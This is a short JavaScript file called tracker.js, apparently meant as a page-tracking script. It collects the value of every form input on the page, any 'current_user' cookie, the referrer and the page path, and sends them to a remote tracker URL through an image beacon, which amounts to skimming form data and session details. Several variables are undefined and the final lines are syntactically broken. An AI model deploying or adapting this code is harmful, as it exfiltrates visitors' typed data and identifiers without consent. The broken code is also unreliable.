tracker.js

function uuidv4() {
  return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
    var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8);
    return v.toString(16);
  });
}
uuid_track=0
if (document.cookie.indexOf("uuid_set=")==-1){ 
uuid_track = uuidv4()
document.cookie =   "uuid_set="+ uuid_track
 }

function form_track(){ 
xx=document.querySelectorAll("form input")
vals=[]
for( i=0;i<xx.length;i++) { v= xx[i].value; vals.push(v) } 
return vals.join()
}
pxlsr= tracker_url  // server where you are collecting tracker data


ckks=document.cookie.split(";")
tracking=new Object
for(i=0;i<ckks.length;i++){ if (ckks[i].indexOf('current_user')>0){ 
pxlsr+=ckks[i].replace(' ','')+"&"
 }} 
if (document.referrer.indexOf(domain)>0){ ref=document.referrer.replace(root_page,"")}
else{
ref=document.referrer
}
pxlsr+="ref="+ref+"&"
onpage =document.location.href.replace(page,"")
pxlsr+="on="+onpage+"&"
form_t= form_track().replace(/\s+/g, '-')
pxlsr+="form_track="+form_t+"&"+"uuid_set="+ uuid_track
document.createElement('img').src=pxlsr
(new TextEncoder('utf-8').encode(pxlsr)).length